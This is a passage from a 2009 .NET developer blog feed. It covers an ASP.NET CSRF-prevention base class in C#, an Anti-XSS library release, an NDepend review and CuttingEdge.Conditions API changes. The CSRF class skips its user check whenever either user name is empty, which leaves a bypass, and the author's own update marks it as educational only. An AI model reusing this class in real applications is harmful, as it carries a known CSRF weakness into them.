AppDomain recycle. So it might be better to use the user name as user key. This however makes the ViewState valid for an infinite amount of time, which might be a risk that's to great. And while this mechanism works with pages that are protected by a login, it has some issues with public pages.<br /><br />Public pages can be accessed by people without a user name (or who's user name isn't known yet). The anonymous user name (presumably an empty string) will be used as <span class="code">ViewStateUserKey</span> and will therefore be used by ASP.NET to generate the MAC. However, when a user posts back that page after she logged in (for instance when the user opened multiple tabs in her browser) the user name changed and the MAC validation fails.<br /><br />When you expect your users to work with multiple tabs, and have a site that uses both public as private pages, it prevents you from using the presented code in a base page from which all pages in your application inherit. The mechanism might be fine though when defining a 'SecureBasePage' that implements this mechanism. All pages that must be protected by login can inherit from this page.<br /><br />This mechanism doesn't help you in protecting public pages. However, we should question the use of that. Public pages are accessible by everybody and they therefore shouldn't be able to change your application's state in the first place (except perhaps for things like a poll). Trying to protect something that's insecure by definition might be strange. Of course you have to think about what pages and data you give public exposure, but that is something you will hopefully find in the functional specs and it's not specific to CSRF. Also be careful by using public pages that add functionality once a user is logged in. It's hard to protect those type of pages against CSRF.</p><h5>A different approach <br /></h5><p>A few months ago, when helping a client of mine with some security issues in one of their web applications, I implemented a different approach. The CSRF prevention mechanism had to be implemented in the base page, but the system was based on a internal framework that used one single aspx page for all its functionality (both public and login protected) in the application (mostly based on dynamic loading of user controls). This basically rendered the use of the <span class="code">ViewStateUserKey</span> useless. What I came up with was an alternative mechanism, that stored the user name and a DateTime in the ViewState (in the control state to be more precise). This allowed the ViewState to be user specific and have a expiration time that was beyond a possible AppDomain recycle. Next, because the user name wasn't used to generate the ViewState MAC, I was able to do an alternative check and throw a more specific exception message on failure. I also allowed the validation to succeed when the user name, stored in the ViewState, or the currently logged in user name where unknown. This allowed the system to work properly when users posted back public pages with a login or logout in between. The solution looked much like this:</p><pre class="cs" language="csharp" customtypes="CsrfBasePage Page Pair InvalidOperationException SecurityException HttpContext">using System;<br />using System.Security;<br />using System.Web.UI;<br /><br />public abstract class CsrfBasePage : System.Web.UI.Page<br />{<br />&nbsp;&nbsp;&nbsp; // Expiration time of 12 hours.<br />&nbsp;&nbsp;&nbsp; private static readonly TimeSpan ExpirationTime =<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new TimeSpan(0, 12, 0, 0);<br /><br />&nbsp;&nbsp;&nbsp; private string controlStateUserName;<br />&nbsp;&nbsp;&nbsp; private DateTime controlStateGenerationDate;<br /><br />&nbsp;&nbsp;&nbsp; protected override void OnInit(EventArgs e)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.RegisterRequiresControlState(this);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; base.OnInit(e);<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; protected override void LoadControlState(object savedState)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pair controlStatePair = (Pair)savedState;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pair csrfData = (Pair)controlStatePair.First;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.controlStateUserName = (string)csrfData.First;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.controlStateGenerationDate = (DateTime)csrfData.Second;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; base.LoadControlState(controlStatePair.Second);<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; protected override void OnLoad(EventArgs e)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.PreventPostbackCSRF();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; base.OnLoad(e);<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; protected override object SaveControlState()<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // The control state is used to store user name and date time.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Control state is part of the view state, but it's impossible<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // to disable it, so this solution will also work when the<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // viewstate is disabled.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string currentUserName = UserRepository.GetCurrentUserName();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DateTime controlStateGenerationTime = DateTime.Now;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pair csrfData = <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new Pair(currentUserName, controlStateGenerationTime);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return new Pair(csrfData, base.SaveControlState());<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; private void PreventPostbackCSRF()<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Validate whether ViewState contains the MAC fingerprint<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Without a fingerprint, it's impossible to prevent CSRF.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!this.Page.EnableViewStateMac)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new InvalidOperationException(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;The page does NOT have the MAC enabled and the view&quot; +<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;state is therefore vurnerable to viewstate tampering.&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.IsPostBack)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string currentlyLoggedInUserName = <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HttpContext.Current.User.Identity.Name;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ValidateUserName(currentlyLoggedInUserName);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ValidateGenerationDate();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; private void ValidateUserName(string loggedInUser)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bool userIsValid = this.controlStateUserName == loggedInUser;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bool pageIsPublic = this.IsCurrentPagePublic(loggedInUser);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!userIsValid &amp;&amp; !pageIsPublic)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string message = string.Format(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;A possible Cross-site Request Forgery attack &quot; +<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;is detected. ViewState was generated by user &quot; +<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;'{0}', but the current user is '{1}'.&quot;,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; controlStateUserName, loggedInUser);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new SecurityException(message);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; private bool IsCurrentPagePublic(string loggedInUser)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Because it's impossible to tamper with the view state, when<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // either the control state user name or the actual username<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // are null or empty, the current page must be a public page.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return String.IsNullOrEmpty(this.controlStateUserName) ||<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String.IsNullOrEmpty(loggedInUser);<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; private void ValidateGenerationDate()<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this.IsViewStateTooOld)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; throw new SecurityException(&quot;The ViewState is expired.&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; private bool IsViewStateTooOld<br />&nbsp;&nbsp;&nbsp; {<br />        get<br />        {<br />    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DateTime expirationTime =<br />&nbsp;&nbsp;&nbsp;&nbsp;    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.controlStateGenerationDate + ExpirationTime;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     return expirationTime &lt; DateTime.Now;<br />        }<br />&nbsp;&nbsp;&nbsp; }<br />}</pre><p>While the implementation with the <span class="code">ViewStateUserKey</span> is much easier, the code above fixes the short comes of the <span class="code">ViewStateUserKey</span> and will hopefully serve some of you.</p><p><font color="#ff0000">UPDATE 2010-11-18: Please use this post for its education value. Instead of using the article's code however, please visit the <a rel="external" href="http://anticsrf.codeplex.com/" title="AntiCSRF">AntiCSRF project</a> on CodePlex. It use a much cleaner approach that doesn't depend on inheriting from a base class. </font></p> ]]></description>
			<guid isPermaLink="false">62@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>ASP.NET, C#, Security</category>
			<pubDate>Sat, 19 Sep 2009 17:14:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Microsoft Anti-Cross Site Scripting Library 3.1 released</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=61</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=61#comm</comments>
                        <description><![CDATA[ The Microsoft Anti-Cross Site Scripting Library (Anti-XSS) is an encoding library designed to help developers protect their ASP.NET web-based applications from XSS attacks.<p>New features in version 3.1 of the Microsoft Anti-Cross Site Scripting Library include:</p><ul><li>An expanded white list that supports more languages.</li><li>Performance improvements.</li><li>Support for Shift_JIS encoding for mobile browsers.</li><li>Security Runtime Engine (SRE) HTTP module.</li><li>HTML Sanitization methods to strip dangerous HTML scripts.</li></ul>You can download AntiXSS 3.1 <a rel="external" href="http://www.microsoft.com/downloads/details.aspx?familyid=051EE83C-5CCF-48ED-8463-02F56A6BFC09&amp;displaylang=en" title="Microsoft Download Center - Microsoft Anti-Cross Site Scripting Library V3.1">here</a>. ]]></description>
			<guid isPermaLink="false">61@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>ASP.NET, Security</category>
			<pubDate>Sat, 19 Sep 2009 12:44:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>NDepend</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=60</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=60#comm</comments>
                        <description><![CDATA[ For over three years I've been using NDepend. In this post I'll describe my thoughts on NDepend.<p><img src="http://www.cuttingedge.it/blogs/steven/images/ndependart.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="" alt="" class="pivot-image" />As a freelancer I participate in several projects each year. Their size, quality, and size differ quite a lot, but a few times a year I feel the urge of using <a rel="external" href="http://ndepend.com/" title="NDepend">NDepend</a> on those projects. It helps me understand code bases from an architectural point of view. While it is useful for a lot of stuff, I mainly use it to analyze and visualize the dependencies between assemblies, namespaces, classes, and get an overall picture of how a project is designed or to figure out what the desired design should be. More than once, code has been written without any architectural vision, and when there was such a vision, there hardly ever is any documentation of it and the developers don't stick to this vision.<br /><br />One area where NDepend can really shine is validating a code base on a prescribed architecture. While I must admit I've never been in the opportunity to integrate NDepend in a build process, NDepend is the tool that you run next to <a rel="external" href="http://en.wikipedia.org/wiki/FxCop" title="Wikipedia - FxCop">FxCop</a> (code analysis), <a rel="external" href="http://code.msdn.microsoft.com/sourceanalysis" title="StyleCop">StyleCop</a> (source analysis), and <a rel="external" href="http://www.ncover.com/" title="NCover">NCover</a> on your build server. In the past I've written automated architectural tests that for instance validate that <span class="type">LinqDataSource</span> and <span class="type">SqlDataSource</span> controls aren't used in a ASP.NET web application. Those tests used reflection to analyze all private fields of classes inheriting from <span class="code">System.Web.</span><span class="type">Page</span>. While writing such tests was doable, NDepend not only makes this a lot easier, there are a lot of architectural rules that are simply impossible to test using reflection. You might for instance forbid the use of <span class="type">DateTime</span><span class="code">.Now</span> (and the like) in your business layer (because you&rsquo;d rather want to use an interface that abstracts away getting the current time, such as log4net&rsquo;s <a rel="external" href="http://logging.apache.org/log4net/release/sdk/log4net.Appender.RollingFileAppender.IDateTime.html" title="log4net SDK Reference - RollingFileAppender.IDateTime Interface">IDateTime interface</a>). While you might achieve this by calling the introspection engines <a rel="external" href="http://www.mono-project.com/Cecil" title="Mono.Cecil">Mono.Cecil</a> or Microsoft's <a rel="external" href="http://ccimetadata.codeplex.com/" title="Common Compiler Infrastructure: Metadata components">CCI</a> in your automated architectural tests, this is quite hellish. You'd be better of using NDepend. Using the NDepend <a rel="external" href="http://ndepend.com/Features.aspx#CQL" title="NDepend - Code Query Language (CQL)">Code Query Language</a> [CQL] such a test would look like this:</p><p><font color="#0000ff">&nbsp;&nbsp;&nbsp; WARN IF </font>Count &gt; 0<font color="#0000ff"> IN SELECT METHODS</font> <br /><font color="#0000ff">&nbsp;&nbsp;&nbsp; WHERE </font>IsDirectlyUsing <font color="#800000">&quot;System.DateTime.get_Now()&quot;</font><br /><font color="#0000ff">&nbsp;&nbsp;&nbsp; OR </font>IsDirectlyUsing <font color="#800000">&quot;System.DateTime.get_Today()&quot; </font><br /><font color="#0000ff">&nbsp;&nbsp;&nbsp; OR </font>IsDirectlyUsing <font color="#800000">&quot;System.DateTime.get_UtcNow()&quot;</font> </p>The last few years I've been using the free <a rel="external" href="http://ndepend.com/NDependDownload.aspx" title="NDepend - Trial / Open Source / Academic Edition download">Trial / Academic Edition</a> for all those projects, which has it short comes. For that reason I was very pleased to get an mail from <a rel="external" href="http://codebetter.com/blogs/patricksmacchia" title="Patrick Smacchia's weblog">Patrick Smacchia</a>, the creator of NDepend, who offered me a free personal edition that I can use at home and on-site when I'm working for a client. While he demanded nothing in return, he of course hopes me to blog about this, which -as you can see- I'm doing right now. While of course this 'gift' encouraged me to blog about this, I can honestly say this is one of those tools that saves my day.<br /><br />Of course there are some things I dislike about NDepend. The biggest annoyance I have with it is this Code Query Language. While the language looks like SQL and the designer uses some sort of IntelliSense, I never really can get the hang of it. I rather see NDepend inject all project metadata into a SQL server database so I can really query it using SQL. I discussed this lately with Patrick and he convinced me this isn't feasible. The problem is however, that the only query languages I know well are Microsoft T-SQL and C# LINQ. CQL is (of course) different (because it's a domain specific language), and while it might not be difficult to work with, I just use NDepend and especially CQL too little to get the hang of it. I wish CQL would work more like LINQ with a clear object model and rich IntelliSense support (vote for more linqishness <a rel="external" href="http://spreadsheets.google.com/viewform?hl=en&amp;formkey=dGlWaUdLVFR3YW9NTDQ5emRRVVZWc2c6MA.." title="Online questionnaire - Influence the future of NDepend">here</a>). Fortunately, NDepend uses context sensitive menu's that allow you to create common CQL queries. This makes things much more easier.<br /><br />Another thing that sometimes annoys me is the NDepend UI. The application consists of several parts that can be moved around on the screen or can be docked, much like you can do with Visual Studio. But the docking just doesn't work that great and I sometimes manage to move the parts in such a way that the UI becomes unworkable. I think it is for this reason NDepend contains a 'Reset views' option (CTRL + SHIFT + R). This misbehavior might be caused by the <a rel="external" href="http://www.devexpress.com/products/VCL/Exbars/DockingLib.xml" title="Devexpress - ExpressDocking Library ">Devexpress docking library</a> that NDepend uses internally, nevertheless I find it a bit annoying. However, I must say after discussing this with Patrick, I wasn't able to reproduce this. But again: 'Reset views' is your friend ;-).<br /><br />But even with these short comes, for me NDepend is a great tool. I have no doubt that these short comes will be solved in future releases. However, NDepend is not a tool for every developer's toolbox. The tool is especially suited for architects and lead developers that understand the importance of architecture and are working one medium to large code bases. If that's you, and haven't tried NDepend, you should. ]]></description>
			<guid isPermaLink="false">60@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, LINQ</category>
			<pubDate>Mon, 14 Sep 2009 17:50:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>CuttingEdge.Conditions version 1.0 released</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=59</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=59#comm</comments>
                        <description><![CDATA[ Last week I published the first stable release of CuttingEdge.Conditions.<p><strong>Download:</strong><br /><em>The CuttingEdge.Conditions library and source code can be downloaded from CodePlex.com. Visit the homepage at <a rel="external" href="http://conditions.codeplex.com" title="CuttingEdge.Conditions home page">conditions.codeplex.com</a> or go directly to the <a rel="external" href="http://conditions.codeplex.com/Release/ProjectReleases.aspx?ReleaseId=31750" title="CuttingEdge.Conditions v1.0 download page">download tab</a>.</em><br /><br /><img src="http://www.cuttingedge.it/blogs/steven/images/conditions.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="" alt="" class="pivot-image" />As you might know, CuttingEdge.Conditions is a library that helps developers to write pre- and postcondition validations in their C# 3.0 and VB9 code base. It's over a year ago that <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=36" title=".NET Junkie - My Own Fluent Argument Validation Library">I first blogged</a> about Conditions (before it actually got a name) and two posts followed with the <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=38" title=".NET Junkie - Introducing CuttingEdge.Conditions">official introduction</a>  of the library and a some information about <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=39" title=".NET Junkie - Extending CuttingEdge.Conditions">how to extend it</a>.<br /><br />This first stable release has had a major face lift and several minor bug fixes. The API has changed considerably and therefore this release is both binary and code incompatible with the previous beta. Great change is the possibility to run CuttingEdge.Conditions on machines that do not have .NET 3.5 installed. While the assembly itself is still dependent on System.Core (.NET 3.5), users can safely add it to their .NET 2.0 projects (as long as the C# 3.0 or VB9 compilers are used).<br /><br />Conditions is now released under a different license. The source code is now released under the MIT License. The source code was previously released under the more restrictive LGPL license.<br /><br />The two other most important changes are the <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=57" title=".NET Junkie - Controversial change in CuttingEdge.Conditions">removal of the extension method behavior of the Requires() and Ensures() entry point methods</a>, and the <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=58" title=".NET Junkie - Removing Otherwise method from CuttingEdge.Conditions">removal of the Otherwise methods</a>. I blogged about these changes two weeks ago.</p><p>For the complete list of changes, please visit the <a rel="external" href="http://conditions.codeplex.com/Release/ProjectReleases.aspx?ReleaseId=31750" title="CuttingEdge.Conditions v1.0 download page">release tab</a> on CodePlex.</p><p>A lot of work has gone into the building of CuttingEdge.Conditions. The project currently consists of <strong>5163</strong> lines of code, 1653 lines in the library and 3510 lines in the unit test project, (thanks to <a rel="external" href="http://www.ndepend.com" title="NDepend">NDepend</a> for counting) and a massive amount of <strong>1275</strong> unit tests with a test coverage of <strong>100%</strong> (thanks to <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=51" title=".NET Junkie - NCover supports CuttingEdge.Conditions">NCover</a> for the support). The library consists of <strong>376</strong> extenstion methods for <strong>43</strong> different checks.</p><p>Happy validating!</p> ]]></description>
			<guid isPermaLink="false">59@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, CuttingEdge.Conditions, LINQ</category>
			<pubDate>Mon, 07 Sep 2009 16:51:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Removing Otherwise method from CuttingEdge.Conditions</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=58</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=58#comm</comments>
                        <description><![CDATA[ In this post I&rsquo;ll describe another breaking change I&rsquo;m making to my open source project, CuttingEdge.Conditions.<p>You might noticed I'm <a rel="external" href="http://conditions.codeplex.com/SourceControl/ListDownloadableCommits.aspx" title="CuttingEdge.Conditions - Recent Check-ins">working</a> on <a rel="external" href="http://conditions.codeplex.com/" title="CuttingEdge.Conditions @ CodePlex">CuttingEdge.Conditions</a> again; my open source library on <a rel="external" href="http://www.codeplex.com/" title="CodePlex">Microsoft's CodePlex</a>. Two days ago I described a <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=57" title=".NET Junkie - Controversial change in CuttingEdge.Conditions">controversial breaking change in CuttingEdge.Conditions</a>.</p><p>Today I want to write about another breaking change that I'll be making in the <a rel="external" href="http://conditions.codeplex.com/Release/ProjectReleases.aspx?ReleaseId=31750" title="CuttingEdge.Conditions v1.0">coming stable release</a> of CuttingEdge.Conditions: I'm removing the <span class="code">Otherwise&lt;TException&gt;</span> methods from the library.</p><p>The <span class="code">Otherwise&lt;T&gt;</span> method overloads let users define the exception type that has to be thrown. Normally the library throws an <span class="type">ArgumentException</span> (using Requires) or <span class="type">PostconditionException</span> (using Ensures). Sometimes however, it's useful to throw another exception type and with the beta releases, CuttingEdge.Conditions lets you do this.</p><p>The name of the <span class="code">Otherwise</span> method is based on <a rel="external" href="http://research.microsoft.com/en-us/projects/specsharp/" title="Microsoft Research - Spec#">Spec#</a> (SpecSharp). I looked closely at the Spec# language, while designing CuttingEdge.Conditions. Besides <span class="keyword">requires</span> and <span class="keyword">ensures</span>, Spec# defines an <span class="keyword">otherwise</span> keyword. <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=36#The_API_must_use_the_same_terminology_as_SpecSharp_does" title=".NET Junkie - My Own Fluent Argument Validation Library - requirement: The API must use the same terminology as Spec# does">One of the requirements</a> I had in the <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=36" title=".NET Junkie - My Own Fluent Argument Validation Library">initial design</a> of Conditions was to use the same terminology as Spec#.</p><p>There are however, two problems with Otherwise:</p><h6>1. The name of the method doesn't properly describe its intend.</h6><p>While Otherwise follows Spec#, I noticed developers find the name confusing. While documentation helps, I think it&rsquo;s name can be improved. This means that I break with the initial requirement of staying close to Spec#, but I think this is okay. It could take years before Spec# (or its syntax) becomes mainstream I think it&rsquo;s better to make a library that&rsquo;s usable right now.</p><h6>2. The use isn't intuitive, which leads to programming mistakes.</h6><p>Perhaps it's the lack of proper documentation, lack of proper code samples, or simply a quirk in the design, but I recently experienced developers writing code like this:</p><pre class="cs badcode_top" language="csharp" customtypes="Condition InvalidOperationException" customvaluetypes="PutYourCustomValueTypesHere"><br />Condition.Requires(x)<br />    .IsNotNull()<br />    .Otherwise&lt;InvalidOperationException&gt;();<br /><br /></pre><p>The developers who wrote this code, expected an <span class="type">InvalidOperationException</span> to be thrown when x was null. This is not the case however. This code throws an <span class="type">ArgumentNullException</span>. The <span class="code">Requires()</span>, <span class="code">Ensures()</span>, and <span class="code">Otherwise()</span> methods return an object that will be passed to validation methods such as the <span class="code">IsNotNull()</span> method in the snippet above. That object determines the exception type to be thrown. When the <span class="code">Otherwise</span> is specified last, the object it returns will never get used. The right way to write this is:</p><pre class="cs" language="csharp" customtypes="Condition InvalidOperationException" customvaluetypes="PutYourCustomValueTypesHere">Condition.Requires(x)<br />    .Otherwise&lt;InvalidOperationException&gt;()<br />    .IsNotNull();<br /></pre><p>The problem however is that this is perhaps not as intuitive as I had expected.<br /><br />For these two reasons I'm not sure the current implementation is the right one. However, it's not clear to me what the correct design is. I'm finalizing the first stable release of the library at the moment. Leaving the current implementation in, means I can never change or remove it, without introducing a breaking change in a stable product. This would possibly lead to many angry users, which is something I like to prevent.<br /><br />While I know I might frustrate users of the current beta release, for most of them, <span class="code">Otherwise</span> is a rarely used feature. Therefore I think it's better to remove it before the stable release and let the user community participate in an improved design of the otherwise feature.<br /><br />The consequence of this change is that users will have to revert to using old fashion &lsquo;<span class="keyword">if</span><span class="code"> (...) </span><span class="keyword">throw</span><span class="code"> ex</span>&rsquo; statements in these situations. Although I published some code that could be added to your code base that fixed the breaking change I discussed <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=57" title=".NET Junkie - Controversial change in CuttingEdge.Conditions">two days ago</a>, this isn&rsquo;t possible in this case. It&rsquo;s not possible to supply code that will prevent you from making changes throughout your code base. <br /><br />But if you&rsquo;re so hooked on this way of validating that you don&rsquo;t want to go back to old fashion throw statements, please <a rel="external" href="http://conditions.codeplex.com/Thread/List.aspx" title="CuttingEdge.Conditions - Discussions on Code Plex">participate</a> and let us together get a better implementation. Also if you&rsquo;re really interested, I have an implementation with a slightly different syntax, that you actually can use in your own code base. If you&rsquo;re interested, let me know.</p><p>Cheers</p> ]]></description>
			<guid isPermaLink="false">58@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, CuttingEdge.Conditions, LINQ</category>
			<pubDate>Wed, 26 Aug 2009 13:36:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Controversial change in CuttingEdge.Conditions</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=57</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=57#comm</comments>
                        <description><![CDATA[ In this post I&rsquo;ll describe a controversial change I&rsquo;m making in my open source project, CuttingEdge.Conditions.<p><img src="http://www.cuttingedge.it/blogs/steven/images/conditions.jpg" style="float:right;margin-left:10px;margin-bottom:5px;border:1px solid" title="" alt="" class="pivot-image" />For a long time I had my doubts about a particular part of the API of my <a rel="external" href="http://conditions.codeplex.com/" title="CuttingEdge.Conditions @ CodePlex">CuttingEdge.Conditions</a> library and these doubts were the main reason that kept me from releasing a stable version of CuttingEdge.Conditions. I decided to try to get in contact with users of my library to find out what they thought of this particular issue I was having. This lead to the following controversial change:</p><p><font color="#ff0000">I&rsquo;m removing the extension method behavior of the Requires() and Ensures() entry point methods.</font><br /><br />This means that the following syntax is not supported anymore:</p><pre class="cs" language="csharp" customtypes="PutYourCustomTypesHere" customvaluetypes="PutYourCustomValueTypesHere">    x.Requires().IsNotNull();</pre><p>Instead the snippet above has to be written as follows:</p><pre class="cs" language="csharp" customtypes="Condition" customvaluetypes="PutYourCustomValueTypesHere">    Condition.Requires(x).IsNotNull();</pre><p>This decision is controversial, because the whole concept of the library was based on <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=36" title=".NET Junkie - My Own Fluent Argument Validation Library">this initial syntax</a> and I know many developers like this fluent way of writing validations. There are however several issues with this syntax, so please bear with me, as I&rsquo;ll try to explain why I decided to make this change.</p><p>The <a rel="external" 